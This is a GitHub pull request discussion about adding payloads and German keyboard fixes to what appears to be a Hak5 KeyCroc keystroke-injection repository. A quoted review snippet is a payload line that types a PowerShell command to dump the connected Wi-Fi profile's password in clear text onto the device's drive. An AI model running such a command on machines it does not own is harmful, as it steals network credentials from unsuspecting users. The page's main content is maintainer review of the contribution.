Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A few useful tools and fixes in the de.json #61

Open
wants to merge 13 commits into
base: master
Choose a base branch
from

Conversation

mark-b1980
Copy link

@mark-b1980 mark-b1980 commented May 19, 2023

Hi Darren!
I hope you find the sample-payloads and helper-scripts in the tools-folder useful. Further I have fixed some missing keys in the german keyboard layout.

@hak5darren
Copy link
Member

@mark-b1980 Hi Mark! I appreciate the contributions :)

In reviewing the payloads, we're all set to accept the /payloads/library and /languages files -- however the /tools elements will require further review. If you want to update your PR, we can get the payloads and language updated now. Thanks!

@hak5darren hak5darren added the help wanted Extra attention is needed label Jun 10, 2023
@mark-b1980
Copy link
Author

mark-b1980 commented Jun 15, 2023 via email

sleep 2

# Get actual WIFI configuration
QUACK STRING "netsh wlan show profile name=(Get-NetConnectionProfile).Name[0] key=clear | Set-Content -Path (Join-Path (Get-PSDrive -Name (Get-Volume -FileSystemLabel KeyCroc).DriveLetter).Root \"WLAN.txt\")"
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would recommend using a variable assignment for the drive label as not everyone's configuration will have the default KeyCroc drive label. This makes user configuration much easier.

You can do this by adding it to the top of your payload. For example with line:

DRIVE_LABEL="KeyCroc"
QUACK STRING "netsh wlan show profile name=(Get-NetConnectionProfile).Name[0] key=clear | Set-Content -Path (Join-Path (Get-PSDrive -Name (Get-Volume -FileSystemLabel $DRIVE_LABEL).DriveLetter).Root \"WLAN.txt\")"

Please go through and add this where it applies.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These tools need to be in a new directory. I would move them into the same directory with one of your payloads.

@hak5peaks hak5peaks added Changes Requested and removed help wanted Extra attention is needed labels Sep 3, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants